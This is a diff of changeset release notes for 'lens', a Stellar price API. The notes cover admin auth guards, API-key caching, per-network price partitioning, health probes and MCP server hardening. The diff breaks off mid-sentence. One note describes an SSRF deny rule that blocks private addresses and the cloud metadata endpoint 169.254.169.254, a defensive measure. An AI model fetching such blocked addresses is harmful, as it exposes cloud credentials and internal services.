diff --git a/.changeset/README.md b/.changeset/README.md index 654c6d47..f6956b8f 100644 --- a/.changeset/README.md +++ b/.changeset/README.md @@ -1,8 +1,8 @@ -# Changesets - -Hello and welcome! This folder has been automatically generated by `@changesets/cli`, a build tool that works -with multi-package repos, or single-package repos to help you version and publish your code. You can -find the full documentation for it [in our repository](https://github.com/changesets/changesets). - -We have a quick list of common questions to get you started engaging with this project in -[our documentation](https://github.com/changesets/changesets/blob/main/docs/common-questions.md). +# Changesets + +Hello and welcome! This folder has been automatically generated by `@changesets/cli`, a build tool that works +with multi-package repos, or single-package repos to help you version and publish your code. You can +find the full documentation for it [in our repository](https://github.com/changesets/changesets). + +We have a quick list of common questions to get you started engaging with this project in +[our documentation](https://github.com/changesets/changesets/blob/main/docs/common-questions.md). diff --git a/.changeset/admin-structural-auth.md b/.changeset/admin-structural-auth.md index 1a40910a..98438595 100644 --- a/.changeset/admin-structural-auth.md +++ b/.changeset/admin-structural-auth.md @@ -1,5 +1,5 @@ ---- -'lens': patch ---- - -Guard admin endpoints structurally (#514). An `onRequest` hook enforces `ADMIN_TOKEN` over every route that declares `{ admin: true, auth: 'admin' }` or is registered under `/admin/`, so a new admin endpoint is protected by where it lives rather than by its handler remembering to call `isAdminAuthorized`. `public: true` now means genuinely unauthenticated, and all seven admin routes declare the admin tier instead. The guard reads the matched route pattern, not `req.url`, so a percent-encoded path cannot route to an admin handler while reading as non-admin. +--- +'lens': patch +--- + +Guard admin endpoints structurally (#514). An `onRequest` hook enforces `ADMIN_TOKEN` over every route that declares `{ admin: true, auth: 'admin' }` or is registered under `/admin/`, so a new admin endpoint is protected by where it lives rather than by its handler remembering to call `isAdminAuthorized`. `public: true` now means genuinely unauthenticated, and all seven admin routes declare the admin tier instead. The guard reads the matched route pattern, not `req.url`, so a percent-encoded path cannot route to an admin handler while reading as non-admin. diff --git a/.changeset/admin-token-diagnostics.md b/.changeset/admin-token-diagnostics.md index 32a3273a..07e283a0 100644 --- a/.changeset/admin-token-diagnostics.md +++ b/.changeset/admin-token-diagnostics.md @@ -1,5 +1,5 @@ ---- -'lens': patch ---- - -Distinguish an unconfigured admin surface from a rejected token (#508). `checkAdminAuth` returns `authorized` / `unauthorized` / `not_configured`, and admin routes answer 503 `admin_not_configured` when `ADMIN_TOKEN` is unset, blank or an obvious placeholder, instead of a 401 that tells an operator their correct token is wrong. The structural admin hook makes the same three-way distinction, startup logs a warning when the surface is disabled, and `GET /status` reports `adminConfigured` — whether a token is set, never any part of its value. +--- +'lens': patch +--- + +Distinguish an unconfigured admin surface from a rejected token (#508). `checkAdminAuth` returns `authorized` / `unauthorized` / `not_configured`, and admin routes answer 503 `admin_not_configured` when `ADMIN_TOKEN` is unset, blank or an obvious placeholder, instead of a 401 that tells an operator their correct token is wrong. The structural admin hook makes the same three-way distinction, startup logs a warning when the surface is disabled, and `GET /status` reports `adminConfigured` — whether a token is set, never any part of its value. diff --git a/.changeset/aggregated-book-depth.md b/.changeset/aggregated-book-depth.md index a3df19d6..d7a1a1a9 100644 --- a/.changeset/aggregated-book-depth.md +++ b/.changeset/aggregated-book-depth.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Add a network-aware aggregated `/book/:assetA/:assetB` endpoint with live SDEX levels, synthetic AMM reserve steps, cumulative depth, and source provenance. +--- +'lens': minor +--- + +Add a network-aware aggregated `/book/:assetA/:assetB` endpoint with live SDEX levels, synthetic AMM reserve steps, cumulative depth, and source provenance. diff --git a/.changeset/aggregator-network-partitioning.md b/.changeset/aggregator-network-partitioning.md index 49eb98d5..79158707 100644 --- a/.changeset/aggregator-network-partitioning.md +++ b/.changeset/aggregator-network-partitioning.md @@ -1,19 +1,19 @@ ---- -'lens': patch ---- - -Partition the aggregation layer by network. Every function in -`src/aggregator/vwap.ts` now takes a required `network` and filters -`price_points`/`pool_snapshots` on it, and `getAMMPrice` filters both the -`pool_snapshots` scan and the `pool_id` subquery. Previously an unfiltered read -returned a volume-weighted blend of both chains' rows for a pair key that -exists on both, so `/price/:a/:b` answered with a number nobody traded at and -stamped it `"network":"mainnet"`. - -`/price/:assetA/:assetB` passes `req.network` through to the aggregator, so the -`network` field in the response is the one the numbers came from. The aggregate -refresh worker now runs once per enabled network — its own queue name, its own -pair list, and `price_aggregates` upserts stamped with its network — where it -previously pinned all three to `STELLAR_NETWORK`, leaving the second network's -`/price/*/history` and `/screener` permanently empty. The Redis price key it -writes is network-prefixed, matching what the REST route reads. +--- +'lens': patch +--- + +Partition the aggregation layer by network. Every function in +`src/aggregator/vwap.ts` now takes a required `network` and filters +`price_points`/`pool_snapshots` on it, and `getAMMPrice` filters both the +`pool_snapshots` scan and the `pool_id` subquery. Previously an unfiltered read +returned a volume-weighted blend of both chains' rows for a pair key that +exists on both, so `/price/:a/:b` answered with a number nobody traded at and +stamped it `"network":"mainnet"`. + +`/price/:assetA/:assetB` passes `req.network` through to the aggregator, so the +`network` field in the response is the one the numbers came from. The aggregate +refresh worker now runs once per enabled network — its own queue name, its own +pair list, and `price_aggregates` upserts stamped with its network — where it +previously pinned all three to `STELLAR_NETWORK`, leaving the second network's +`/price/*/history` and `/screener` permanently empty. The Redis price key it +writes is network-prefixed, matching what the REST route reads. diff --git a/.changeset/api-key-last-used.md b/.changeset/api-key-last-used.md index 54e1b001..6b740fae 100644 --- a/.changeset/api-key-last-used.md +++ b/.changeset/api-key-last-used.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Record when an API key was last used to authenticate (#500). `api_keys.last_used_at` is stamped on each successful authentication, throttled to one write per key per `KEY_LAST_USED_THROTTLE_SECONDS` (default 60) so authentication stays a read for busy keys, and surfaced on `GET /admin/keys` — null meaning the key has not authenticated since the column existed, which is what makes an abandoned key visible. A failed write never refuses a valid request, but is logged once per key rather than swallowed. +--- +'lens': minor +--- + +Record when an API key was last used to authenticate (#500). `api_keys.last_used_at` is stamped on each successful authentication, throttled to one write per key per `KEY_LAST_USED_THROTTLE_SECONDS` (default 60) so authentication stays a read for busy keys, and surfaced on `GET /admin/keys` — null meaning the key has not authenticated since the column existed, which is what makes an abandoned key visible. A failed write never refuses a valid request, but is logged once per key rather than swallowed. diff --git a/.changeset/api-key-lookup-cache.md b/.changeset/api-key-lookup-cache.md index 43b0ff63..8f125c58 100644 --- a/.changeset/api-key-lookup-cache.md +++ b/.changeset/api-key-lookup-cache.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Cache API-key lookups in-process so authentication is no longer a Postgres round-trip per request (#495). Positive and negative lookups are held for `API_KEY_CACHE_TTL` seconds (default 30), the cache is bounded at 10,000 entries so invalid keys cannot grow it without limit, hit/miss is exported as `api_key_cache_lookups_total`, and a key's own `expiresAt` is re-checked on every hit so the TTL can never outlive the key. Revoking or rotating a key drops its cached entry immediately on the instance handling the request; another instance picks it up within the TTL. Rotation now also carries the old key's scopes to the replacement. +--- +'lens': minor +--- + +Cache API-key lookups in-process so authentication is no longer a Postgres round-trip per request (#495). Positive and negative lookups are held for `API_KEY_CACHE_TTL` seconds (default 30), the cache is bounded at 10,000 entries so invalid keys cannot grow it without limit, hit/miss is exported as `api_key_cache_lookups_total`, and a key's own `expiresAt` is re-checked on every hit so the TTL can never outlive the key. Revoking or rotating a key drops its cached entry immediately on the instance handling the request; another instance picks it up within the TTL. Rotation now also carries the old key's scopes to the replacement. diff --git a/.changeset/bazaar-automatic-cataloging-130.md b/.changeset/bazaar-automatic-cataloging-130.md index 643aae2f..5a6c3d5e 100644 --- a/.changeset/bazaar-automatic-cataloging-130.md +++ b/.changeset/bazaar-automatic-cataloging-130.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Automatic cataloging of resources from discovery extension upon settlement (#130) +--- +'lens': minor +--- + +Automatic cataloging of resources from discovery extension upon settlement (#130) diff --git a/.changeset/bazaar-search-ssrf-guard.md b/.changeset/bazaar-search-ssrf-guard.md index 5b88abb6..8d9abeb1 100644 --- a/.changeset/bazaar-search-ssrf-guard.md +++ b/.changeset/bazaar-search-ssrf-guard.md @@ -1,12 +1,12 @@ ---- -'lens': patch ---- - -`bazaar_search` no longer fetches any URL it is handed (#407). The MCP server now -parses the target, refuses anything that is not `http`/`https`, resolves the -hostname and rejects it if any address is private, loopback, link-local, or a -cloud metadata endpoint (e.g. `169.254.169.254`), and follows redirects manually -so a permitted host cannot bounce the request to a forbidden address. Operators -can constrain reachable hosts further with the shared `OUTBOUND_ALLOWED_HOSTS` -list, which narrows access but never re-opens a blocked address. Blocked requests -return the new `ERR_URL_BLOCKED` code. +--- +'lens': patch +--- + +`bazaar_search` no longer fetches any URL it is handed (#407). The MCP server now +parses the target, refuses anything that is not `http`/`https`, resolves the +hostname and rejects it if any address is private, loopback, link-local, or a +cloud metadata endpoint (e.g. `169.254.169.254`), and follows redirects manually +so a permitted host cannot bounce the request to a forbidden address. Operators +can constrain reachable hosts further with the shared `OUTBOUND_ALLOWED_HOSTS` +list, which narrows access but never re-opens a blocked address. Blocked requests +return the new `ERR_URL_BLOCKED` code. diff --git a/.changeset/bazaar-seller-helpers.md b/.changeset/bazaar-seller-helpers.md index 04f47d19..6e8d26de 100644 --- a/.changeset/bazaar-seller-helpers.md +++ b/.changeset/bazaar-seller-helpers.md @@ -1,13 +1,13 @@ ---- -'lens': minor ---- - -Add seller-side Bazaar discovery helpers (`src/bazaar/declare.ts`): `param.*` -constructors that make per-parameter descriptions a required positional -argument, `declareHttpResource` / `declareMcpTool` builders that assemble the -`extensions.bazaar` declaration and its JSON Schema, and -`validateDeclaration` / `assertDeclaration` which run the catalog's own -`validateListing` plus seller-side metadata-quality rules so malformed listings -fail at development time rather than in production. Lens's own gated routes -(`/price`, `/candles`, `/pools`, `/price/twap`, and the MCP price tool) are -declared with them in `src/bazaar/lensListings.ts`. +--- +'lens': minor +--- + +Add seller-side Bazaar discovery helpers (`src/bazaar/declare.ts`): `param.*` +constructors that make per-parameter descriptions a required positional +argument, `declareHttpResource` / `declareMcpTool` builders that assemble the +`extensions.bazaar` declaration and its JSON Schema, and +`validateDeclaration` / `assertDeclaration` which run the catalog's own +`validateListing` plus seller-side metadata-quality rules so malformed listings +fail at development time rather than in production. Lens's own gated routes +(`/price`, `/candles`, `/pools`, `/price/twap`, and the MCP price tool) are +declared with them in `src/bazaar/lensListings.ts`. diff --git a/.changeset/coinbase-cex-adapter-215.md b/.changeset/coinbase-cex-adapter-215.md index a767d8ab..a8dca94a 100644 --- a/.changeset/coinbase-cex-adapter-215.md +++ b/.changeset/coinbase-cex-adapter-215.md @@ -1,7 +1,7 @@ ---- -"lens": minor ---- - -Ship the first real centralized-exchange adapter in `src/ingest/cex/` (issue #215). The directory previously held only the `CexAdapter` interface and a mock, so every cross-venue comparison compared Stellar venues against nothing. `CoinbaseAdapter` implements `CexAdapter` in full — `fetchTicker` and `fetchOrderBook` against Coinbase Exchange's public market-data endpoints — and is built and registered through a new exchange-agnostic `createCexAdapter(name)` factory (`registerCexAdapterFactory` wires concrete exchanges in). - -It normalises pairs in both directions, mapping the Lens canonical form (`XLM/USD`) to the identifier the exchange actually uses (`XLM-USD`) and back, since a slash-form request 404s. Requests are throttled to Coinbase's published public limit (10 req/s per IP, burst up to 15) with a token bucket; a `429` honours `Retry-After` when present and otherwise backs off exponentially. Any outage, timeout, non-2xx, or malformed body degrades to a `null` return — the adapter never throws, so a dead exchange cannot take down the process or surface an error response. Prices carry a distinct `source` (`coinbase_cex`) and take the `network` from the caller rather than hard-coding it, so a CEX number is never mistaken for, or silently blended with, an on-chain one. +--- +"lens": minor +--- + +Ship the first real centralized-exchange adapter in `src/ingest/cex/` (issue #215). The directory previously held only the `CexAdapter` interface and a mock, so every cross-venue comparison compared Stellar venues against nothing. `CoinbaseAdapter` implements `CexAdapter` in full — `fetchTicker` and `fetchOrderBook` against Coinbase Exchange's public market-data endpoints — and is built and registered through a new exchange-agnostic `createCexAdapter(name)` factory (`registerCexAdapterFactory` wires concrete exchanges in). + +It normalises pairs in both directions, mapping the Lens canonical form (`XLM/USD`) to the identifier the exchange actually uses (`XLM-USD`) and back, since a slash-form request 404s. Requests are throttled to Coinbase's published public limit (10 req/s per IP, burst up to 15) with a token bucket; a `429` honours `Retry-After` when present and otherwise backs off exponentially. Any outage, timeout, non-2xx, or malformed body degrades to a `null` return — the adapter never throws, so a dead exchange cannot take down the process or surface an error response. Prices carry a distinct `source` (`coinbase_cex`) and take the `network` from the caller rather than hard-coding it, so a CEX number is never mistaken for, or silently blended with, an on-chain one. diff --git a/.changeset/decimal-strings-boundary.md b/.changeset/decimal-strings-boundary.md index 1dc8918f..323ebb52 100644 --- a/.changeset/decimal-strings-boundary.md +++ b/.changeset/decimal-strings-boundary.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Serialise decimal quantities as exact strings across the API boundary via header/query/Accept negotiation to preserve 18-decimal precision without IEEE-754 floating-point loss. +--- +'lens': minor +--- + +Serialise decimal quantities as exact strings across the API boundary via header/query/Accept negotiation to preserve 18-decimal precision without IEEE-754 floating-point loss. diff --git a/.changeset/defindex-vault-adapter.md b/.changeset/defindex-vault-adapter.md index d48e1670..a0f80b3c 100644 --- a/.changeset/defindex-vault-adapter.md +++ b/.changeset/defindex-vault-adapter.md @@ -1,15 +1,15 @@ ---- -'lens': minor ---- - -DeFindex vault shares are now priced. A new `DeFindex` venue adapter -(`src/ingest/venues/defindex.ts`) enumerates every vault from the protocol's -on-chain factory registry, reads each vault's total managed assets and total -share supply straight from the chain, and derives the share price as -`totalAssets / totalShares` — never from a published figure that could be stale. -A vault with zero shares yields no point rather than dividing by zero. Rows are -written with `source = 'defindex_vault'` so a derived vault price is never -silently blended with a traded one, and each row carries the network it was read -from, so the ingester runs once per `ENABLED_NETWORKS` entry without merging -mainnet and testnet series. The factory contract ids are taken whole from DeFindex's -published `mainnet.contracts.json` / `testnet.contracts.json`. +--- +'lens': minor +--- + +DeFindex vault shares are now priced. A new `DeFindex` venue adapter +(`src/ingest/venues/defindex.ts`) enumerates every vault from the protocol's +on-chain factory registry, reads each vault's total managed assets and total +share supply straight from the chain, and derives the share price as +`totalAssets / totalShares` — never from a published figure that could be stale. +A vault with zero shares yields no point rather than dividing by zero. Rows are +written with `source = 'defindex_vault'` so a derived vault price is never +silently blended with a traded one, and each row carries the network it was read +from, so the ingester runs once per `ENABLED_NETWORKS` entry without merging +mainnet and testnet series. The factory contract ids are taken whole from DeFindex's +published `mainnet.contracts.json` / `testnet.contracts.json`. diff --git a/.changeset/discovery-search-129.md b/.changeset/discovery-search-129.md index f0d652d9..a5bb9c7a 100644 --- a/.changeset/discovery-search-129.md +++ b/.changeset/discovery-search-129.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Add GET /discovery/search with relevance ranking and quality evaluation (#129) +--- +'lens': minor +--- + +Add GET /discovery/search with relevance ranking and quality evaluation (#129) diff --git a/.changeset/enforce-rate-per-day-175.md b/.changeset/enforce-rate-per-day-175.md index 2dce11fe..b3cf800a 100644 --- a/.changeset/enforce-rate-per-day-175.md +++ b/.changeset/enforce-rate-per-day-175.md @@ -1,5 +1,5 @@ ---- -'lens': patch ---- - -Enforce ratePerDay daily quota on authenticated API keys (#175) +--- +'lens': patch +--- + +Enforce ratePerDay daily quota on authenticated API keys (#175) diff --git a/.changeset/fiat-pricing-naira-290.md b/.changeset/fiat-pricing-naira-290.md index c221e407..ee3f1267 100644 --- a/.changeset/fiat-pricing-naira-290.md +++ b/.changeset/fiat-pricing-naira-290.md @@ -1,5 +1,5 @@ ---- -'lens': minor ---- - -Add GET /price/:asset/fiat for local currency conversion and naira valuation (#290) +--- +'lens': minor +--- + +Add GET /price/:asset/fiat for local currency conversion and naira valuation (#290) diff --git a/.changeset/fix-twap-outlier-alignment.md b/.changeset/fix-twap-outlier-alignment.md index 0f3930b1..2c79d23a 100644 --- a/.changeset/fix-twap-outlier-alignment.md +++ b/.changeset/fix-twap-outlier-alignment.md @@ -1,5 +1,5 @@ ---- -'lens': patch ---- - -Preserve TWAP timestamp alignment when outlier prices are rejected. +--- +'lens': patch +--- + +Preserve TWAP timestamp alignment when outlier prices are rejected. diff --git a/.changeset/graphql-price-subscriptions.md b/.changeset/graphql-price-subscriptions.md index 70477cdc..0178d049 100644 --- a/.changeset/graphql-price-subscriptions.md +++ b/.changeset/graphql-price-subscriptions.md @@ -1,5 +1,5 @@ ---- -"lens": minor ---- - -Add a `priceUpdated(pair: String!, network: String)` GraphQL subscription that streams live prices over the existing `/graphql` endpoint (graphql-transport-ws protocol). Every ingester (SDEX, Horizon AMM, Soroswap) publishes `{ pair, price, ts, network }` on each new price; subscribers receive only the pair they request. `network` is optional and narrows the stream to one chain — omitting it delivers every enabled network, which is only safe if the subscriber reads the `network` field on each message, since a dual-network deployment otherwise interleaves two chains' prices for the same pair. +--- +"lens": minor +--- + +Add a `priceUpdated(pair: String!, network: String)` GraphQL subscription that streams live prices over the existing `/graphql` endpoint (graphql-transport-ws protocol). Every ingester (SDEX, Horizon AMM, Soroswap) publishes `{ pair, price, ts, network }` on each new price; subscribers receive only the pair they request. `network` is optional and narrows the stream to one chain — omitting it delivers every enabled network, which is only safe if the subscriber reads the `network` field on each message, since a dual-network deployment otherwise interleaves two chains' prices for the same pair. diff --git a/.changeset/half-open-window-boundaries.md b/.changeset/half-open-window-boundaries.md index 9624a50c..23150b8a 100644 --- a/.changeset/half-open-window-boundaries.md +++ b/.changeset/half-open-window-boundaries.md @@ -1,28 +1,28 @@ ---- -"lens": minor ---- - -**Breaking:** range endpoints now use half-open intervals — `[from, to)`, not -`[from, to]`. `from` is inclusive, `to` is exclusive. - -`GET /candles/:assetA/:assetB` and `GET /prices/history` previously returned -samples with `timestamp` in `from..to` inclusive at both ends. A caller paging -back-to-back windows (`[T0, T1]`, then `[T1, T2]`) got every sample landing -exactly on `T1` **twice** — once in each response — so the two windows -together double-counted the boundary and inflated any total, average or VWAP -computed over them. - -`to` is now exclusive. Adjacent windows `[T0, T1)` and `[T1, T2)` share no -boundary, and a sample landing exactly on `T1` appears in exactly one of the -two responses. - -Callers that relied on the inclusive end must widen their `to` by one tick -(the smallest interval they query) to keep the same rows — e.g. `[T0, T1]` is -now `[T0, T1 + 1s)` at `interval=1m`. - -Every `price_points` query now also carries the `network` predicate, so the -`(network, pair_key, timestamp)` index is usable and a pair's price is never a -blend of two chains. `GET /candles/:assetA/:assetB` and `GET /basket` were -reading both networks; `GET /benchmark/:asset` was computing its deviation -figures from both. They now default to the active network and honour -`?network=` / `x-network`. +--- +"lens": minor +--- + +**Breaking:** range endpoints now use half-open intervals — `[from, to)`, not +`[from, to]`. `from` is inclusive, `to` is exclusive. + +`GET /candles/:assetA/:assetB` and `GET /prices/history` previously returned +samples with `timestamp` in `from..to` inclusive at both ends. A caller paging +back-to-back windows (`[T0, T1]`, then `[T1, T2]`) got every sample landing +exactly on `T1` **twice** — once in each response — so the two windows +together double-counted the boundary and inflated any total, average or VWAP +computed over them. + +`to` is now exclusive. Adjacent windows `[T0, T1)` and `[T1, T2)` share no +boundary, and a sample landing exactly on `T1` appears in exactly one of the +two responses. + +Callers that relied on the inclusive end must widen their `to` by one tick +(the smallest interval they query) to keep the same rows — e.g. `[T0, T1]` is +now `[T0, T1 + 1s)` at `interval=1m`. + +Every `price_points` query now also carries the `network` predicate, so the +`(network, pair_key, timestamp)` index is usable and a pair's price is never a +blend of two chains. `GET /candles/:assetA/:assetB` and `GET /basket` were +reading both networks; `GET /benchmark/:asset` was computing its deviation +figures from both. They now default to the active network and honour +`?network=` / `x-network`. diff --git a/.changeset/health-probes.md b/.changeset/health-probes.md index e89ca3ee..6ea67332 100644 --- a/.changeset/health-probes.md +++ b/.changeset/health-probes.md @@ -1,34 +1,34 @@ ---- -'lens': minor ---- - -Add `/live` and `/ready`, so a platform can tell "kill this one" apart from -"stop sending traffic here". - -`/status` answered neither question. It reads `indexer_state`, so it fails when -Postgres is unreachable — useless as a liveness signal — and it says nothing -about whether the process has finished booting. `app.listen()` runs part-way -through `main()`, before the ingesters, the retention worker and the websocket -fan-out start, so between listening and those loops running the process accepts -requests it cannot yet answer. - -`GET /live` touches no dependency and stays healthy while Postgres is down or -the app is still booting. That is the point: a liveness probe that fails during -a database outage has the orchestrator restarting every instance at once. - -`GET /ready` reports `503` with `ok: false` until `main()` finishes booting, and -while Postgres is unreachable or unmigrated, or Redis is unreachable when Redis -is part of readiness (`READINESS_REDIS_CHECK`, default true). The Postgres check -is one `to_regclass` query answering both reachability and whether migrations -were applied — reachability alone would report a process with no tables as -ready. Probes are bounded by `READINESS_TIMEOUT_MS` and answers cached for -`READINESS_CACHE_MS`, so polling every few seconds costs at most one round trip -per dependency per interval. - -Both are public, allow-listed from rate limiting next to `/status`, sent -`Cache-Control: no-store`, and excluded from `http_requests_total` — a -fixed-interval poller would otherwise put a floor under the request rate that no -amount of real traffic dropping could go below. `/status` is unchanged. - -The deployed smoke check now requires both probes instead of skipping `/ready` +--- +'lens': minor +--- + +Add `/live` and `/ready`, so a platform can tell "kill this one" apart from +"stop sending traffic here". + +`/status` answered neither question. It reads `indexer_state`, so it fails when +Postgres is unreachable — useless as a liveness signal — and it says nothing +about whether the process has finished booting. `app.listen()` runs part-way +through `main()`, before the ingesters, the retention worker and the websocket +fan-out start, so between listening and those loops running the process accepts +requests it cannot yet answer. + +`GET /live` touches no dependency and stays healthy while Postgres is down or +the app is still booting. That is the point: a liveness probe that fails during +a database outage has the orchestrator restarting every instance at once. + +`GET /ready` reports `503` with `ok: false` until `main()` finishes booting, and +while Postgres is unreachable or unmigrated, or Redis is unreachable when Redis +is part of readiness (`READINESS_REDIS_CHECK`, default true). The Postgres check +is one `to_regclass` query answering both reachability and whether migrations +were applied — reachability alone would report a process with no tables as +ready. Probes are bounded by `READINESS_TIMEOUT_MS` and answers cached for +`READINESS_CACHE_MS`, so polling every few seconds costs at most one round trip +per dependency per interval. + +Both are public, allow-listed from rate limiting next to `/status`, sent +`Cache-Control: no-store`, and excluded from `http_requests_total` — a +fixed-interval poller would otherwise put a floor under the request rate that no +amount of real traffic dropping could go below. `/status` is unchanged. + +The deployed smoke check now requires both probes instead of skipping `/ready` when it is absent, and fails on a failing `/live`. \ No newline at end of file diff --git a/.changeset/historical-csv-export.md b/.changeset/historical-csv-export.md index 82f24cb2..fc32e0a2 100644 --- a/.changeset/historical-csv-export.md +++ b/.changeset/historical-csv-export.md @@ -1,12 +1,12 @@ ---- -'lens': patch ---- - -`GET /prices/history` accepts `?format=csv`, returning the points as a -`text/csv` body (`ts,price,volume`, RFC 4180 quoting, LF endings, one trailing -newline); JSON stays the default and an unknown format is rejected with 400 -before the database is queried. The serializer is `historyToCsv()` in -`src/api/history.ts`, and `tests/historical.golden.test.ts` byte-compares it — -plus the HTTP response — against `tests/fixtures/historical-*.csv`, so column -order, timestamp and number formatting, and line endings cannot drift without -failing the suite. +--- +'lens': patch +--- + +`GET /prices/history` accepts `?format=csv`, returning the points as a +`text/csv` body (`ts,price,volume`, RFC 4180 quoting, LF endings, one trailing +newline); JSON stays the default and an unknown format is rejected with 400 +before the database is queried. The serializer is `historyToCsv()` in +`src/api/history.ts`, and `tests/historical.golden.test.ts` byte-compares it — +plus the HTTP response — against `tests/fixtures/historical-*.csv`, so column +order, timestamp and number formatting, and line endings cannot drift without +failing the suite. diff --git a/.changeset/history-honor-network.md b/.changeset/history-honor-network.md index 041f6b07..ff1089f2 100644 --- a/.changeset/history-honor-network.md +++ b/.changeset/history-honor-network.md @@ -1,7 +1,7 @@ ---- -'lens': patch ---- - -`GET /prices/history` now honours `?network=` / `x-network` instead of always -querying the deployment's default network, and echoes the resolved `network` -in the response. `queryHistory()` takes `network` as a parameter. +--- +'lens': patch +--- + +`GET /prices/history` now honours `?network=` / `x-network` instead of always +querying the deployment's default network, and echoes the resolved `network` +in the response. `queryHistory()` takes `network` as a parameter. diff --git a/.changeset/ingest-metrics-network-label.md b/.changeset/ingest-metrics-network-label.md index 511d72e5..e598bc3c 100644 --- a/.changeset/ingest-metrics-network-label.md +++ b/.changeset/ingest-metrics-network-label.md @@ -1,23 +1,23 @@ ---- -'lens': patch ---- - -Add a `network` label to the four ingest metrics — `trades_ingested_total`, -`amm_snapshots_total`, `price_snapshots_total` and `last_trade_timestamp` — so a -dual-network deployment (`ENABLED_NETWORKS=testnet,mainnet`) reports each -network separately instead of folding them together. - -`last_trade_timestamp` is the one that mattered: it is a gauge, so the testnet -ingester's `set()` was overwriting mainnet's value for the same pair every poll -interval, making Lens's only staleness signal silently unusable — it still -looked like a plausible timestamp. The counters were less broken but equally -unqueryable per network, since the two loops summed into one series. - -Cardinality is unchanged in character: `pairs x networks` (plus `pools` on -`amm_snapshots_total`), all bounded by `WATCHED_PAIRS` and `ENABLED_NETWORKS`. -No `issuer` or `pool` label was added. Existing queries that did not filter by -`network` keep working and now return one series per network instead of a -merged one, so a recording rule that aggregated across networks before will see -one additional series per pair. - -Documented in [`docs/ingest-metrics.md`](docs/ingest-metrics.md). +--- +'lens': patch +--- + +Add a `network` label to the four ingest metrics — `trades_ingested_total`, +`amm_snapshots_total`, `price_snapshots_total` and `last_trade_timestamp` — so a +dual-network deployment (`ENABLED_NETWORKS=testnet,mainnet`) reports each +network separately instead of folding them together. + +`last_trade_timestamp` is the one that mattered: it is a gauge, so the testnet +ingester's `set()` was overwriting mainnet's value for the same pair every poll +interval, making Lens's only staleness signal silently unusable — it still +looked like a plausible timestamp. The counters were less broken but equally +unqueryable per network, since the two loops summed into one series. + +Cardinality is unchanged in character: `pairs x networks` (plus `pools` on +`amm_snapshots_total`), all bounded by `WATCHED_PAIRS` and `ENABLED_NETWORKS`. +No `issuer` or `pool` label was added. Existing queries that did not filter by +`network` keep working and now return one series per network instead of a +merged one, so a recording rule that aggregated across networks before will see +one additional series per pair. + +Documented in [`docs/ingest-metrics.md`](docs/ingest-metrics.md). diff --git a/.changeset/mcp-bounded-tool-results.md b/.changeset/mcp-bounded-tool-results.md index 80eda08a..fe1973b4 100644 --- a/.changeset/mcp-bounded-tool-results.md +++ b/.changeset/mcp-bounded-tool-results.md @@ -1,23 +1,23 @@ ---- -'lens': patch ---- - -MCP tool results are size-bounded (#416). Every result was serialised -pretty-printed and in full, so one large — or hostile — response could consume an -agent's entire context window, and the failure looked like a bad model rather -than an unbounded tool. All four tools (`bazaar_search`, `paid_call`, -`payment_budget`, `lens_get_price`) now return compact JSON capped at -`MCP_MAX_RESULT_BYTES`, and a truncated result says so: `truncated: true`, the -total, the page returned, and a notice explaining how to ask for more. -`bazaar_search` gains `limit` / `offset` arguments (defaults and ceiling from -`MCP_DEFAULT_PAGE_LIMIT` / `MCP_MAX_PAGE_LIMIT`), forwards them to the node, and -pages whatever comes back even if the node ignores them. `lens_get_price` keeps -`structuredContent` only while the payload fits, since shipping it regardless -would move the blow-up into another field. - -Upstream bodies are read through a capped stream reader (`MCP_MAX_UPSTREAM_BYTES`) -that keeps the part that fits and cancels the rest, so an oversized body is never -buffered in full. A discovery body too large to parse returns -`ERR_RESPONSE_TOO_LARGE`, which — unlike `ERR_URL_BLOCKED` and -`ERR_HOST_NOT_ALLOWED` — is not a refusal to ask: the request succeeded, the -answer is simply too big to hand over. +--- +'lens': patch +--- + +MCP tool results are size-bounded (#416). Every result was serialised +pretty-printed and in full, so one large — or hostile — response could consume an +agent's entire context window, and the failure looked like a bad model rather +than an unbounded tool. All four tools (`bazaar_search`, `paid_call`, +`payment_budget`, `lens_get_price`) now return compact JSON capped at +`MCP_MAX_RESULT_BYTES`, and a truncated result says so: `truncated: true`, the +total, the page returned, and a notice explaining how to ask for more. +`bazaar_search` gains `limit` / `offset` arguments (defaults and ceiling from +`MCP_DEFAULT_PAGE_LIMIT` / `MCP_MAX_PAGE_LIMIT`), forwards them to the node, and +pages whatever comes back even if the node ignores them. `lens_get_price` keeps +`structuredContent` only while the payload fits, since shipping it regardless +would move the blow-up into another field. + +Upstream bodies are read through a capped stream reader (`MCP_MAX_UPSTREAM_BYTES`) +that keeps the part that fits and cancels the rest, so an oversized body is never +buffered in full. A discovery body too large to parse returns +`ERR_RESPONSE_TOO_LARGE`, which — unlike `ERR_URL_BLOCKED` and +`ERR_HOST_NOT_ALLOWED` — is not a refusal to ask: the request succeeded, the +answer is simply too big to hand over. diff --git a/.changeset/mcp-http-transport.md b/.changeset/mcp-http-transport.md index 3fbacc6a..b30210f3 100644 --- a/.changeset/mcp-http-transport.md +++ b/.changeset/mcp-http-transport.md @@ -1,42 +1,42 @@ ---- -'lens': minor ---- - -The MCP server can now serve Streamable HTTP, selected with `MCP_TRANSPORT=http`. -Until then stdio was the only transport, so the server could only be used by a -client able to launch this process on the same machine — which rules out every -hosted agent, and means the agent's secret key has to be installed on each -machine that wants to pay. - -HTTP reaches the network, so it is only allowed to start authenticated. -`resolveMcpTransportConfig` (`src/mcp/config.ts`) requires a non-empty -`MCP_HTTP_AUTH_TOKEN` before anything else happens, and `runHttp()` throws again -if handed a blank one, so an unauthenticated remote server with `paid_call` in -its tool list cannot be brought up by configuration or by an embedding caller. -The example entrypoint resolves the transport before it builds a signer: a -server that cannot authenticate callers never reaches the point where it can -spend. Every request must then present `Authorization: Bearer `, compared -over SHA-256 digests with `timingSafeEqual`; a missing, malformed or wrong token -is refused with `401`, `www-authenticate: Bearer realm="lens-mcp"` and the new -`ERR_UNAUTHORIZED` code, before the body is read and before any tool runs. The -token is never echoed back into an error message or a log line. - -It binds `127.0.0.1` unless `MCP_HTTP_HOST` says otherwise, answers MCP only on -`MCP_HTTP_PATH` (default `/mcp`), rejects anything else with `404` without -revealing whether the path exists, and requires `POST` — `GET` gets `405`, which -spec-compliant clients read as "no server-initiated stream" rather than an -error. Bodies 